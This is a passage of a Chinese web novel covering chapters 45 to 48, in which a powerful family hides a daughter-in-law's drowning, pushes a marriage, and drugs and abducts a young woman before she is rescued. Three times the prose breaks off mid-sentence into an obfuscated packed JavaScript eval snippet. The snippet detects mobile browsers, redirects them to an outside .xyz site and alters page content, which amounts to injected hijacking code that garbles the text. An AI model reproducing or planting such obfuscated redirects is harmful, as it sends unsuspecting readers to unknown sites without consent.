李夫人哭着扶起李谨，用帕子替他擦净脸上脏污，温声道，“你从外面回来，没见着你媳妇？” 李谨掀了下眼皮，“她啊……好像掉进河里了。” “什么？！”李经章神色大惊。 李谨却不经意地笑了声，“儿子不小心撞了她一下，她没站稳便滚进河里，上来就没气儿了。一会，让管家去她家报丧吧。她和我一场夫妻，我该赔她家的，一个铜板也不会少。” 李经章听他如此草菅人命，差点呕出一口血，“李家怎么有你这样的孽畜？！” 李夫人叹气，帮他顺背，道，“自己孩子，你骂归骂，也得帮他想想办法。” 李谨哭起来，跪着抱住李经章的袍子，“爹，放鹤楼没了，周儒也没了，儿子心里不痛快，替爹不痛快！袁至诚他只是次辅，却根本没顾爹的颜面……” 李经章望着李谨，“你错了，如果他不顾我颜面，那天被带走的，就是你了。闹成这样，我只求你听我一句，别折腾了行不行？放鹤楼的事，你必须就此揭过，周儒，你必须忘记。还有其他的莺莺燕燕，能打发的尽快打发干净，别让女人出卖了你！” 李夫人抱着李谨，小声提醒道，“他这次肯定都听进去了，这，谨儿媳妇死了，找哪家姑娘续弦？” 李经章沉默半晌，说出名字，“秦家九娘秦徐。” 李谨听这名字，顿时恨道，“放鹤楼被查，不就拜此女子所赐？爹还想让儿子娶她？” 李夫人咬牙切齿，“就因为她害了你才更该娶她。将她放在身边，才好慢慢折磨。” 李谨疑道，“此法带劲儿！但秦家不会同意的。” 李经章语重心长，“你若同意，剩下的交给我。一个月内，我必让秦徐嫁进李家。” 李夫人擦干了泪，冷笑道，“我听说，游家的游乘很中意秦徐，谨儿娶了秦徐，正好让游家死了这条心，尝尝求而不得的滋味。” 45. 乡试放榜，游秦小定 乡试放榜在即，京城汇聚了各地考生，房牙行的生意借着热潮翻了几番，就连书局书肆也日日门庭若市，赚得囊满钵盈。 这日，容芝核完书局上月的账本，沿着街面踱到不远处的珠宝铺“喜珠”。刚进门便觉热气扑面，往日就热闹的铺子，近来更是人声鼎沸。他乡考生待放榜后离京，总要在此为家中女眷挑份体面礼物。 “等放榜那日，这些货品怕是要被抢空了！”喜珠掌柜满面红光地迎上来，熟稔地给容芝引路。 生意人惯会说场面话，容芝只含笑听着。她今日来，是想挑几样女用配饰。府上三位侄女，十三岁的、八岁的、五岁的，年纪不同，喜好也得仔细斟酌。掌柜是个眼力见儿的，不多时便捧来三件物件。一支莹润玉簪，一对金制如意锁，还有副小巧手镯，样样都合了容芝的心意。 正等着伙计包扎礼盒，容芝眼角余光瞥见相熟的媒婆掀帘进来。那媒婆手里攥着只鼓鼓囊囊的钱袋，进门便直问笔簪。 笔簪这物件，原是适婚男方向意中人下小定时的信物。这仪式虽不比纳征、请期郑重，却在士族间广为认可，添了几分风雅郑重的意味。眼下乡试放榜在即，不知是哪家的才子佳人，竟连这几日都等不及了？ “哎哟，游大夫人也在？”媒婆选好心仪的笔簪，转身见了容芝，忙上前行礼。 容芝回以浅笑，目光落在她手中的礼盒上，“这是替哪两家牵线呢？” 媒婆却先叹了口气，压低声音道，“是内阁首辅李大人家……说来也惨，李三公子的正妻昨日出游，不慎落水了！” 听着是桩伤心事，容芝追问，“后来呢？” 若正妻当真去了，按本朝律法，需守孝二十七月方能续弦。 媒婆却凑近了些，声音压得更低，“孩子没保住，人倒是还吊着口气。只是听说这位正妻平日不敬公婆，苛刻妾室，先前还险些闹出通奸的丑事！此番有孕仍在外贪玩，才连累了腹中骨肉……这般妇人，原该下堂的。李大人念及她母家只剩一个哥哥，无依无靠，才留她在府中。但这正妻之位，是断断不能再留了。李三公子正值壮年，膝下又无子嗣，便托了我来打点续弦的事。” 容芝默默点头，没接话。 她脑中却泛起疑云，原著里对李家的描述可不是这样。书中李经章的三儿子李谨性情暴躁，家中正妻性情温婉怯懦，别说辱骂公婆、虐待妾室，就连高声说话都少见，更别提与人私通了。 难道又是自己穿书带来的蝴蝶效应？ 这时掌柜已将包扎好的礼盒递来，容芝向媒婆告辞，却被对方叫住，问及长子游乘是否已定亲。 “孩子大了是该早作打算，可他们自有主张，做长辈的也只能多留意着。”容芝笑着应道。 出了喜珠的门，容芝把礼盒交给阿桔，鼻尖忽然钻进一缕绵长的甜香，隔壁糕点铺的酥饼刚出炉。她让阿桔买了两盒，看时辰尚早，决定再去秦家碰碰运气。 秦家大门却上了锁。 瞧这光景，倒像是瞧见她们主仆来了，特意锁上的。 念及长子游乘的婚事，容芝压下心头那点不快，脸上堆着笑敲开门房的门，问秦夫人在不在家。 门房一个劲摇头，脸上堆着敷衍的笑，只催着请容芝慢走。 “我有些渴了，能否借贵府的茶水解解渴？”容芝索性在门房的椅子上坐下，料想他们也不好直接赶人。 门房无奈，只得请她稍候，捧着茶壶进了府内。 阿桔凑过来，低声道，“夫人，李家儿媳落水的事，听着就蹊跷。她怀着身孕，再不懂事，也该护着孩子才是。” 容芝心中早有疑虑，只是李家的事，只要没牵扯到游家，便随他们折腾去。 可这壶茶，左等右等竟迟迟不见送来。眼看快到午时，容芝素有小憩的习惯，便靠在椅背上打起盹来。 此时秦家府内，母女俩正在闺房里低语。 秦徐急得红了脸，攥着母亲的手道，“那真是女儿亲眼所见，若不是实情，何苦编排李家？” 秦夫人攥紧了手中帕子，缓缓摇头，“不是娘不信你，只是劝你别在外头乱说。李家在京城权势滔天，你难道想让你爹被他们针对吗？今日所见，务必忘了！” 今早秦徐出门给母亲买糕果，归途中恰见李家三郎李谨与他娘子在河边拉扯，没片刻功夫，那娘子便被李谨推入了河中。等被捞上来时，人早已没了气息。 “女儿明白……”秦徐声音低了下去，“只是可怜那位娘子，被他害死，连孩子都没保住，还要被夫家编排成不守妇道的毒妇，连死因都要瞒着……李家也太可恨了。” 秦夫人许是见多了这类事，脸上带着几分麻木，“总之此事与你无关，往后不许再提，知道吗？” 秦徐没应声，既不愿顶撞母亲，也不想违心应下。 这时门外丫鬟来报，说有媒婆登门。 秦夫人立刻让请进来，又叮嘱秦徐，“好好调整神色，绝不能在媒婆面前露半分破绽。” 秦徐不解，“媒婆又不是李家的人，何必如此紧张？” 母女俩到正堂候了片刻，听媒婆说了阵客套话，才知对方竟是为李家三公子李谨而来。 一听这名字，秦家母女顿时变了脸色。 秦夫人强压着不适，问道，“您这是……什么意思？” 媒婆将那支笔簪放在桌上，意思再明白不过。 秦徐是晚辈，不好插话，只能拼命拽着母亲的手，连连使眼色。 秦夫人沉默片刻，摘下腕上的碧玉镯递给媒婆，“我不与你打哑谜，李家是什么境况，你比我清楚……” 媒婆接过镯子，这才长叹了口气，“我知道夫人不愿将女儿嫁入李家，可李家既认准了您，今日您拒了我，往后怕是还有更多麻烦。” 事情已然摊开，秦夫人又扯下腰间的一块玉环塞过去，“你经验多，教教我，该如何是好？” 媒婆掂了掂玉环，收进钱袋，“李家逼得紧，您若想寻条出路，只有一个法子。” 秦徐按捺不住，顾不得闺礼，急问道，“您快说，什么出路？” 媒婆看向她，缓缓道，“秦九娘子，得尽快定亲。” 门房里，容芝被开锁的动静惊醒。 她睁眼一看，恰见方才那位媒婆从秦家出来，忙起身追了两步，“好巧，又遇上了。” 秦徐是容芝属意的儿媳人选，她一直紧盯着，绝不能让别家抢了先。 “敢问您为李家买的笔簪，是要送秦家的？” 媒婆在京中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174715|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混饭吃，最懂得不得罪官眷的道理，见了容芝忙客气道，“正是，只是秦家不愿接。” 容芝暗暗松了口气，面上却露出几分惋惜，“李首辅家世显赫，三公子李谨又风流倜傥，没被秦家瞧上，想必是有更好的人家在等李三公子吧。” 媒婆被这话逗笑了，拍了拍容芝的手，“早就听闻大夫人嘴巧，今日才算见识了。李家三公子如何，我就不多说了。但秦家九娘子这一辈子的幸福，可还得仰仗大夫人的金口玉言呢。” 容芝微怔，瞬间明白了她的意思，却又有些诧异，“秦家夫人一向不待见我游家，怎会忽然改了主意？” 媒婆笑道，“人与人之间，就怕比较。您家乘哥儿与李三公子站在一处，再拧巴的人，也能看出该选谁。” 心中大石落了地，容芝让阿桔先回侯府，通知游乘去不足斋等着。她自己则拉上媒婆同乘一辆马车，有媒婆在场作证，商量起婚事也能少些尴尬。 到了不足斋，游乘已在二楼等候。阿桔早已把李家有意向秦家下小定的事告知了他，此刻见了媒婆，便知事非虚言。 他对容芝表明态度，仍觉得乡试榜单未出，此刻的自己实在配不上秦九娘。 “至少要等乡试放榜后，再谈此事才妥当。” 容芝不好再劝，便推了推身旁的媒婆。 媒婆收了秦家的好处，自然乐意帮着避开李家这火坑，忙对游乘道，“大公子有情有义，却不必太过自谦。自从大公子下场科考，哪回不是拔得头筹？来日春闱，必定高中状元。秦家夫人此刻相中大公子，正是眼光好，怕被别家抢了先呢。” 游乘却摇头，“此事当真不妥。” 容芝忽然想起前日游乘答应秦徐的事，忙道，“你若觉得对不住秦徐，等她开了分店，多帮着照看便是。” “这是两码事。”游乘认真道，“九妹妹首先是我的朋友，照看分店是应当的。但婚娶之事绝非儿戏，儿子不想草率。” 终究没能说动游乘。 容芝送媒婆出来，让她先别答复秦家。至于如何让游乘松口，她心中已想到一位长辈。 婆母邓氏听闻秦家有意结亲，也觉意外。 容芝将前因后果细说一遍，邓氏笑道，“乘哥儿谨慎，是替秦家着想，怕秦九娘遭人议论，确实是士族楷模。可秦家被李家逼着，怕是等不起了。我倒有个法子，能保两全其美。” 侯府老夫人邓氏亲自出面，替游乘给秦家九娘秦徐下了小定。礼单上除了必备的笔簪，还有一万零一两银子，取“万里挑一”之意，另有一首游乘亲笔所作的诗，以表心意。 就连邀约秦家母女的信函，也是邓氏亲手写的。 当晚，游家几房叔伯婶婶齐聚见证，邓氏亲手将那支笔簪簪在秦徐发髻上，小定礼成。 九月初五，乡试放榜。 天刚擦亮，准备进宫上朝的官员们已三三两两地聚在一处，低声交谈。礼部侍郎游怜山身边，围了不少前来道贺的人。 “恭喜游秦两家结亲，更恭喜游家一门双星，乡试大捷！” “镜水兄，这可真是双喜临门啊！” 人群外，有两人的脸色格外难看。 一位是内阁首辅李经章，另一位，则是都察院左都御史刘钦。 46. 京郊救人 游家在乡试中大获全胜，除了同僚官员来道贺，当日大殿朝议结束后，更得了皇帝亲口嘉赏。 也是这一天，游怜山初次见到了詹事府少詹事，升铭。 此人，是千家胡同“谷之”房牙行的掌柜，更是此次乡试的主考官之一。 自家两个儿子游乘、游余能考中举人，且位列桂榜前排，少不了升铭在暗中的周全。若非如此，任凭阅卷过程被内阁首辅李经章的同乡操控，两个孩子别说名列前茅，怕早已名落孙山。 散朝时，游怜山又受了不少同僚的庆贺，众人还约定五日后同赴司宁侯府的宴席，一睹游乘、游余两位少年举人的风采。 他被众人簇拥着走在离宫的甬道上，脚步渐渐放缓，目光不时往后瞥，显然是在等稍后的升铭。 升铭腰间佩着刀，这在文官中实属罕见，想来定是深得皇宠。可他行路时始终视线低垂，仿佛刻意要减弱自己的存在感。 待升铭从身侧擦过，游怜山朗声唤道，“升年兄，身姿矫健啊！” 升铭驻足回头，目光落在他身上，温和颔首，“原来是游侍郎。”言罢便要继续前行，全无其他官员那般刻意攀附的做派。 游怜山毫不在意这份疏离，满心感激地说道，“五日后，寒舍设桂宴，还请年兄务必赏光！” 升铭这才露出几分笑意，拱手回礼，“府上二位公子才学出众，本当亲自登门道贺。只是那日已另有安排，便在此提前恭贺了，望游侍郎与两位公子包涵。” 秋阳正盛，刺得人睁不开眼。 游怜山望着升铭匆匆出宫、登车离去的背影，心中掠过一丝遗憾，却绝非因被拒绝而生的冒犯感。 此人言行这般谨慎，想来是得了太子指示，不可擅自与朝臣私交，为着将来的大局隐忍罢了。 走出宫门，游怜山没有乘马车，反倒沿街步行往礼部衙门去。 正走着，身后传来一声“都御史大人”。 他转头，正对上督察院刘钦的视线，微微颔首后往旁侧让了让。 这位刘钦，生得浓眉宽额，行路时总爱负着手。 年过四十，肚腹已显丰腴，却浑身透着一股不怒自威的气势。 “刘大人请先。”游怜山恭敬道。 刘钦却停在他面前，侧目打量着他，语气不明地说，“镜水今日倒是春风得意。” 这话听着是恭维，细品却带着几分阴阳怪气。 此次乡试，刘家小公子刘子应因病缺考，抱憾错失机会，这在京城已是人尽皆知。但外人不知的是，开考前刘子应曾与游家孩子同去千家胡同，因吃了路边不洁食物，上吐下泻，热症加重，才被刘家匆匆接回。 这是刘钦看不惯游怜山的缘由之一。 另一重原因，则是原本被刘家看中的儿媳秦徐，如今竟已被游家下了小定，成了游家的准孙媳妇。 念及这些糟心事，刘钦不愿再多看游怜山一眼，加快脚步往前走去。 游怜山却还有话要说，快步追上，对他笑道，“刘大人心中不快，下官心中有数，也深感抱歉。只是还想替家中孩子问问，子应近来病情如何？” 刘钦猛地顿住脚步，冷笑一声，避开刘子应的病情，只道，“子应过几天就离京去江陵了。” 游怜山闻言不禁纳闷。这孩子年方十九，正是科考的黄金年纪，不留在京城备战三年后的乡试，怎会躲到江陵一带去？ 他又追问，“子应病得很重，是去江陵求医？” 回应他的，只有自己的问话在空气中回荡。 刘钦站在督察院衙门口。 秋风卷过，一粒沙尘恰好落进眼里，刺得他视线模糊。他掏出手帕揉了揉，耳畔却响起内阁首辅李经章的声音。 “刘大人这是在暗自垂泪？”李经章拢着袖子，眸底带着几分似是而非的善意。 刘钦也跟着笑了笑，眼尾的泪顺势滑落，在面颊留下浅浅痕迹。又一阵风吹过，那泪痕便干了。 他对李经章拱手，正要抬步进衙门，却被对方叫住，问起幼子刘与之的病情。 “若需引荐名医，我倒可在老家湖西一带寻找。” “……不必了，多谢李首辅。” 刘钦转身，又用手帕抹了抹眼。 他这般粗人，向来不擅优柔寡断，更不会哭哭啼啼。今日他这番模样，倒让李经章暗自纳罕。 李经章身旁的李经资遮着黑纱，疑道，“难不成，刘子应……已经死了？” 李经章瞪了他一眼，细想之下，却又觉得这话并非全无可能，不由叹息道，“哼！若是刘子应当真死了，游家那两个孩子即便中了举，往后的日子怕也难好过了。” 李经资面露幸灾乐祸，低笑两声。 可刘家与游家的恩怨，终究是后话。 眼下游家科举势头正盛，游乘更是抢走了李经章看中的儿媳妇，和秦家姑娘秦徐下了小定。一想起这些事，李经章便气不打一处来，抬手就给了李经资一记耳光。 幸好二人已进了礼部值房，房门也关得严实。 李经资捂着脸，半句反抗也不敢有，反倒凑近李经章，出了个主意，“两家不过是小定而已，即便来日成了亲，只要咱们想，总有法子拆散。” 李经章靠在椅背上闭目养神，闻言掀开眼皮，“把你那股土匪气收一收，难不成想强抢？” 李经资忙躬身，凑到他耳边低语，“明着强抢自然不行。只需效仿李襄与三殿下的旧事，把生米煮成熟饭。一旦有了孩子，那女子自会听话。” 李经章重新合上眼皮，从鼻子里透出一声长气，既没说不行，也没说行。 得了默许的李经资立刻行动起来。他戴黑面纱，快步出了礼部衙门，寻到街市上一家小酒馆。举目望去，没见到相熟的兄弟，却在角落瞥见个熟人，刘家的管家刘远。 大白天在此买醉，不是跟家里婆娘吵了架，便是在刘府受了主家的气，挨了打骂。 李经资心念一转，招手叫来酒馆伙计，额外点了一壶酒、二斤牛肉，送到了刘远桌上。 几杯酒下肚，刘远的话匣子便打开了。李经资从他口中得知，昨晚后半夜，游、秦两家小辈小定的消息传到刘府，刘夫人便一直哭个不停。 刘夫人说，都是因游乘横插一脚，抢走了儿子的准媳妇，让刘家颜面尽失。 刘夫人还说，前几日秦徐还写信邀约子应，可子应没见到信，无法赴约。本以为秦徐会伤心，没曾想，她转头就高高兴兴收了游家老夫人的笔簪，成了游家的准孙媳妇…… 一壶酒喝完，刘家管家已醉倒在桌旁。 李经资在桌上放了十两银子，转身便回了李府，找府中幕僚以刘子应的名义给秦九娘秦徐写了封信。信中，先为先前的避而不见致歉，而后恳切邀约秦徐见一面，说，自己不日便要离京，此后恐难再见。 这封信由假扮的刘家管家送到了秦府。 秦徐看完信，第一时间便差人去游府，想把这个消息告诉游乘。只是当她看到信中刘与之约她去京郊见面时，心中不免生出几分疑惑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184861|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次日，秦徐精心打扮了一番，比约定时间早到了些许。她在巷子口等着刘府的接引马车，一边也盼着游乘能尽快赶来。 不多时，刘府的马车到了，游乘却迟迟未现身，不知被什么事绊住了脚。 秦徐让马夫稍等片刻，马夫压低帽檐问道，“要等谁？” 秦徐犹豫了一下，说，“等游大公子游乘。他二人许久未见，正好趁此机会一同前往。” 话音刚落，马车里便传来一声不耐烦的嗤笑，“九娘子要带游家大公子，这是信不过我家公子？” 秦徐连忙摆手，“并非不信，只是我已与游家说好，要一同见子应的，还请再等等吧。” 忽然，肩上猛地一痛，像是挨了一掌。 秦徐来不及细想，只觉两眼一黑，便倒在了马车旁。 晌午时分，天气有些燥热。 游家大姑娘游宜刚从地里回来，浑身被晒得冒汗。她让丫鬟备好热水，打算沐浴更衣，却听见大门外的树林里传来陌生男子的说话声，顿时警觉起来。 庄子上的男丁都是庄户人家，此刻被召集过来，手里拿着能找到的各种农具，棍棒、锄头，只要称手的都用上了。只等大姑娘游宜一声令下，众人便悄无声息地朝那群陌生男子靠近。 “那不是秦九娘子吗？”为首的庄稼汉压低声音惊道。 游宜定了定神，确认没看错，秦徐被几个黑衣男子捆了手脚，躺在草地上一动不动。 “大姑娘，要不回城通知大公子吧！”庄稼汉急道。 游宜回过神，吩咐一名随从立刻赶回司宁侯府报信，自己则领着其余人原地待命，见机行事。 那几个黑衣人似乎也在等什么人，不时朝来路的方向张望。 片刻后，有骑马的人赶来，跪地禀道，“二老爷，三公子的马车在路上了，让您帮忙拖延一下。” 为首的黑衣人顿时气道，“兔崽子！都什么时候了还拖？等药效过了，他再来，黄花菜都凉了……” 气归气，他却没再骂下去，只是乖乖坐到一旁的石头上，等着他家三公子。 三公子，二老爷。 游宜躲在树桩后，反复琢磨着这两个称呼，实在想不出是哪家的人。 直到她抬手挽了一把碎发，摸到头顶的玉簪。这是昨日回侯府，看大哥与秦九娘子行小定礼时，大伯母容氏送她的礼物。 她心头猛地一跳，一个念头闪过，不禁倒抽一口凉气。 什么三公子……定然是李家那个名声败坏的纨绔子，李谨！ 内城，约定好的巷子口。 游乘迟迟没等来秦徐，越想越觉得不对劲。 他今日来迟，是因虞次传话时听错了时辰，可他与秦徐明明约好一同去见子应，她即便等不到人，也该多等片刻，断不会说走就走。 除非，秦徐遇上了急事。 游乘担心秦家被李家刁难，正要动身往秦家去，却见管家郑伯骑着马匆匆赶来。 “大姑娘有口信，让大公子速去京郊庄子救秦九娘！” 工部尚书府秦家的姑娘被绑了。 此事绝不能声张，但若瞒着秦家也不妥。 游乘当即命郑伯去通知秦夫人，自己带着虞次，快马加鞭赶往京郊的田庄。 庄子大门前，游宜正焦急地来回踱步，见游乘赶到，立刻迎了上去。 游乘一看她的神色，心便沉了下去，急声问道，“是不是九妹妹……不见了？” 游宜眼圈一红，带着哭腔，“大哥，对不起……” 47. 警告二房之女 田庄地处偏僻，仅一条通路能行马车。 游乘料定李谨性子娇纵，断不肯吃苦，即便掳走秦徐换地方，也走不远，多半还藏在附近。 庄中农户说，没见李谨来庄子上。 游乘心中估算，当即安排一名机灵的壮年守在这唯一的路口，自己带着虞次，折回最初发现秦徐失踪的树林。 “哥儿，你说大姑娘会不会有所隐瞒？”虞次压低声音，凑到游乘耳边问道。 游乘一怔，回头看向身后的游宜。她目光呆愣，让人猜不透心思。可他没忘，游宜是二房周氏的亲生女，若周氏在背后挑拨，游宜记恨他、想趁机摆他一道，也并非不可能。 “多谢叔提醒。”游乘声音坦荡，不高不低。 虞次却急了，“防人之心不可无！对二房，总得多个心眼。” 游乘点头，大步绕到田庄院墙后门。此处客房窗户积满厚尘，显然久未有人动过。 游宜仍跟在身后，见他伸手去推最外侧的房门，连忙上前阻拦，“大哥，这里堆着杂物，又乱又霉，别进了，我找人来查。” 游乘收回手，目光扫过一排的客房，“要查就查全，不能漏过一间。另外，庄里还有哪些隐蔽处？比如那边……”他抬手指向另一侧的茅草屋。 游宜顺着他的目光看去，面色微滞，“大哥，那是狗舍。” 虞次上前绕了一圈，回来禀报，“没窗户，看不清里面，也没听见狗叫。” 游乘没接话，从袖中摸出三枚铜钱卦。 他的余光里，游宜垂着头，一副心不在焉的模样，更让他疑心她有鬼。 路口还没有李谨的消息，这李谨是没到，还是早就到了？游乘不敢多想，对游宜道，“大妹能否找张桌子来？我来占卜一下现在的状况。” 游宜这才回神，应了声“哦”，转头让人去搬桌子。 目光却紧紧盯着游乘手中的铜板，“早听母亲说大哥占卜了得，今日总算能亲眼见见。” “大姑娘也懂这个？”虞次问道。 游宜摇头，“我只懂种地，哪懂这些？大哥，凭这三枚铜板，能算出秦九娘的下落？” 其实占卜哪有这么神，不过是经验、观察加卦象的综合推测，并无十足把握。但游乘想了想，还是对游宜点头，“可以的。” 游宜愣住，双手绞着袖子，闷声道，“……大哥懂得真多。” 说话间，桌子送了来。游乘站到桌前，抬手抛出铜板，叮叮当当一阵响，第一卦成了。 “如何？算出来在哪儿了吗？”游宜上前两步追问。 游乘扫了眼她攥紧的指节，淡淡道，“不急，要算满六卦才有结果。”说罢，将铜钱一个个叠好。 一旁农户小声议论，虞次清了清嗓子，看向守后门的农户，“今日谁当值？真没见可疑人出入？” 为首的农户抱拳回话，“不敢欺瞒您！这段时间地里活儿重，我清早就出门，刚才听说有陌生人来，才赶回来的……没太注意。” 虞次眉头一拧，瞪着他，“光凭你一张嘴？谁能给你作证？” 那农户看向周围，见众人低头不语，只好转向游宜，“大姑娘……” 游宜却没理他，径自移开了目光。 “你给我当心点！” 虞次见状怒了，拔出腰间长刀，“若被我查出你欺瞒，直接结果了你的小命！” 农户吓得当即跪下，“虞大哥，我真没留意啊！饶命！” 虞次啧了声，一脚将他掀到旁边，对着其他农户厉声道，“都听好了！大公子刚与秦九娘小定，疼她得紧！万一九娘子有闪失，你们没一个能活！懂吗？” 游乘听着，唇角微扯，捻搓铜钱的手加快了速度，发出吱吱嘎嘎的响。 农户们顿时噤声，只听虞次喊了声“大姑娘”。 游宜笑容僵硬，“叔，您想问什么？” “姑娘现在冷静了，再想想，有没有发现什么异样？”虞次抖了抖长刀。 “没有。”游宜答得干脆。 又是一串叮叮当当的响。 游乘抛出第二卦，是二阴一阳。他捏着铜钱，口中念念有词，抬眼看向那排空客房时，游宜的手攥得更紧了。 等第四、五、六卦掷完，游乘闭眼沉思良久，再睁眼时，目光直直投向了那间被称作“狗舍”的茅草屋。 “我去踹门！”虞次拱手请命。 游乘点头，收好铜钱放回袖中，也朝茅草屋走去。 “好小子，敢骗大公子？”虞次揪起地上的农户，长刀抵着他脖子，刀刃就要划破皮肤。 “我真不知情！虞大哥饶命，大公子饶命，大姑娘救救我！”农户哭喊道，最后一句格外蹊跷。 果然，就在虞次撩袍要踢狗舍门时，游宜突然开口，“叔，大哥，我想起来了！你们来之前，那边好像有奇怪动静。” 她指的，正是最初游乘想查的空房。 “哥儿，既然大姑娘想起来了，这狗舍还看吗？”虞次看向游乘。 “不看了，我相信大妹，”游乘话音落，众人便跟着他往空房走去。 虞次让大家退后，免得被拳脚误伤。 游乘则护在游宜身前，眼睛警惕地盯着左侧另一间房的窗口。 “砰！”一声响，左侧窗户突然被撞开。 虞次第一个跳进去，几个壮士随即拿着锄头堵死了房门。 “大哥，我……”游宜声音发颤。 游乘放下护着她的手臂，“不用害怕，今日之事，本也与你无关。” 天色渐晚，光线愈发晦暗。 就在这时，一道黑影从窗口跃出，肩上似扛着人，直冲向庄后门。他的速度极快，游乘只眨了下眼，黑影便消失在夜幕中。 “哥儿！”虞次的声音从屋内传来。 游乘跑回去，只见床下靠坐着秦徐，她双眼紧闭，胸口微微起伏，衣裳完好，没有撕扯痕迹，“还睡着？” “怕是中了迷香。”虞次叹息，“你照顾她，我去追李家的人！” “我好像看见是两个人？”游乘道。 “一个是李谨，另一个……追上就知道了！带着李谨，跑不快的！”虞次扶着刀柄，三步跃出后门。 屋内点上烛台，游乘蹲在秦徐面前，连声唤“九妹妹”，却没得到应答。一旁的游宜提议用冷水浇面，游乘却让她端温水来，先给秦徐擦手擦脸，再找游宜借了身宽松衣裙。 “大哥不便，我帮九姐姐更衣吧。”游宜说。 “有劳大妹。” 游乘退到屋外，竖着耳朵听动静。 没过多久，屋里传来秦徐沙哑的声音，似在问怎么回事。 游宜随即出来叫他，“人醒了。” 游乘看着她手中的水盆，仔细叮嘱，“告诉庄里所有人，今日之事，不能对外提起。” 游宜点头，招呼农户们散去了。 后门处，虞次提着刀进来，面色沉重。不用说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192004|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，游乘也知道，人没追上。 “我看清了，其中一个是李谨，另一个遮着面纱，没认出来。”虞次沉声道。 游乘没说话，扶着秦徐走出屋子。 经过鹅卵石路时，秦徐直皱眉，她没穿鞋，正光着脚。游乘想了想，问道，“抱么？” “好。”秦徐声细如蚊，险些被风声盖过。 虞次掌着灯笼走在前面。 游乘抱着秦徐，脚步不快。 “介舟，我一直睡着，什么都没看见，”秦徐轻声说。 “我知道。李谨欠你的，我会找他算清楚，”游乘语气发冷。 秦徐看着他，摇摇头，“可惜没抓住他，若他矢口否认，咱们也没证据。” 游乘见她情绪冷静，多问了一句，“若我把人带到你面前，你能认出当时的马车夫吗？” 秦徐有些沮丧，“恐怕不能，他们有预谋，用帽檐遮了脸。” 游乘宽慰她，“雁过留痕，是李家做的恶，总会有破绽。” 庄门前，回城的马车早已备好。 游乘将秦徐抱上车，对游宜道了别。 马车刚动，游宜却追了上来。 暮色中，她气喘吁吁地站在侧窗下，“这个，给大哥！” 游乘接住一看，是块水色极好的白玉牌，上面刻着“李”字，“大妹在屋里捡到的？” “是，希望对大哥有用，”游宜福了一礼，退到路边。 游乘将玉牌收入袖中，拉开布帘看向游宜。 她目光躲闪，眼眶泛着泪光，“我对不起九姐姐，也对不起大哥。你能不能只怪我，别迁怒母亲？今日隐瞒九姐姐的下落，是我一个人的主意，母亲什么都不知道。” 游乘一笑，抬头望望天，云层厚重，似又有雨来，“大妹有空多回府陪陪你母亲。你且记住，我对她有恨，离她很近，就隔着几步路。” 游宜当即跪下，高声道，“谢大哥高抬贵手！” 马车紧赶慢赶，总算在宵禁前进了内城。 秦家众人都在等消息，游乘便先带着秦徐去了秦家。 快到秦府时，秦徐向游乘要过李家玉牌，笑道，“这东西指认不了李谨，没什么用。我看啊，你压根没怪罪宜娘，就是想装回恶人，吓唬吓唬她。” 游乘的心思被看穿，也不掩饰，“她胆子小，吓这一次，就不会有下次了。” “狡诈！” 秦徐嗔了一句，又想起什么，长叹道，“子应要去江陵了，你很不舍他吧？” 朋友被迫分离，如同美玉摔成两半。 游乘喉间哽咽，说不出话，只好背过身去。一想到李家利用他们的友情，假扮刘子应写信，他对李家的恨意便更深几分。 “对了，还有件事，或许能牵制李家。”秦徐突然说。 游乘转头看她，“什么事？” 秦徐招招手，凑到他耳边低语几句。 原来李谨的妻子前日落水，当场就咽了气。按规矩，李谨需守孝二十七月才能再娶，李经章却纵容李谨，胡作非为，若被言官弹劾，李经章便是顶风作案，罔顾伦常。 朝堂之事，游乘无官职，插不上手。 回府后，他见了父母，不仅上交了李家玉牌，还将秦徐说的秘密一并告知。 李家谋害秦徐的算盘落了空，本就心虚，绝不会对外声张，自然是伤不到秦徐的。 游乘只坚持一点，“必须给李经章的嫡子李谨，长个教训！” 48. 侯府桂宴，李家丢老脸 不足斋，二楼窗前。 游乘指尖叩着桌面，目光落在楼下的店门口。他等了不久，虞次赶着马车来，引着刘家管家刘远匆匆上了楼。 刘远进门时脸色发白，“小的见过大公子。” 游乘故意沉着脸，“你就是刘远？” 不等刘远应答，他继续道，“听闻前日李家有人冒你之名，往秦家送信，约我未婚妻徐徐见面……徐徐的父亲秦舒得知此事，大动肝火，跟我说要亲手剐了那人，还有你。” 刘远身子一颤，忙不迭躬身，“游公子救我！我愿将功补过，说出那人是谁！” “嗯，是谁？”游乘问。 刘远却支吾起来，“小的不知他的真名，那人总戴面纱，李家人叫他‘二老爷’，但没人见过他的脸。” 九月秋夜，游家烛火摇曳。 